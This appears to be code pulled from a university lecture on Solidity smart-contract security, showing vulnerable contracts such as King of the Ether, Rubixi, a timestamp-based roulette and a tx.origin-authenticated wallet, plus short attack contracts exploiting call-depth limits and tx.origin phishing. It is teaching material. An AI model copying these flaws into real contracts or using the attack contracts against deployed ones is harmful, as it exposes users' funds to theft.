Aaron Bloomfield (aaron@virginia.edu) @github | ↑ |
uint256 gasUsed; uint256 gasLeft = gasleft(); uint256 price = getPrice(); for ( uint i = _refundProgress; gasUsed < 5000000 && i < _bidIndex; i++ ) { bids memory bidData = allBids[i]; if ( bidData.finalProcess == 0 ) uint256 refund = (bidData.price - price) * bidData.bidsPlaced; // and so on... }
contract KotET { address public king; uint public claimPrice = 100; address owner; constructor() { owner = msg.sender; king = msg.sender; } function sweepCommission(uint amount) { owner.send(amount); // withdraw commission fees } function() { // old-style fallback function if (msg.value < claimPrice) revert(); uint compensation = calculateCompensation(); king.send(compensation); king = msg.sender; claimPrice = calculateNewPrice(); } }
function() { // old-style fallback function if (msg.value < claimPrice) revert; uint compensation = calculateCompensation(); king.send(compensation); king = msg.sender; claimPrice = calculateNewPrice(); }
contract attackGov { function attackGov (address target, uint count) { if ( 0 <= count && count < 1022 ) this.attackGov.gas(gasleft() - 2000)(target, count+1); else attackGov(target).lendGovernmentMoney(); } }
contract Roulette { uint public pastBlockTime; receive() external payable { require(msg.value == 10 ether); require(block.timestamp != pastBlockTime); pastBlockTime = block.timestamp; if (block.timestamp % 15 == 0) { (bool res, ) = payable(msg.sender).call{value: address(this).balance}(""); require(res, "Failed to transfer ETH"); } } }
contract OwnerWallet { address public owner; function OwnerWallet() public { owner = msg.sender; } // old syntax // now: constructor() { owner = msg.sender; } receive() external payable {} function withdraw() public { require(msg.sender == owner); (bool res, ) = payable(msg.sender).call{value: address(this).balance}(""); require(res, "Failed to transfer ETH"); } }
contract OwnerWallet { address public owner; function ownerWallet() public { owner = msg.sender; } // old syntax // ... }
contract Rubixi { address private creator; function DynamicPyramid() { creator = msg.sender; } function collectAllFees() onlyowner { if (collectedFees == 0) throw; creator.send(collectedFees); collectedFees = 0; }
contract Phishable { address public owner; constructor () { owner = msg.sender; } receive() external payable {} function withdrawAll(address _recipient) public { require(tx.origin == owner); payable(_recipient).call {value: address(this).balance}(""); } }
contract AttackContract { Phishable phishableContract; address attacker; constructor (Phishable _phishableContract, address _attackerAddress) { phishableContract = _phishableContract; attacker = _attackerAddress; } receive() external payable { phishableContract.withdrawAll(attacker); } }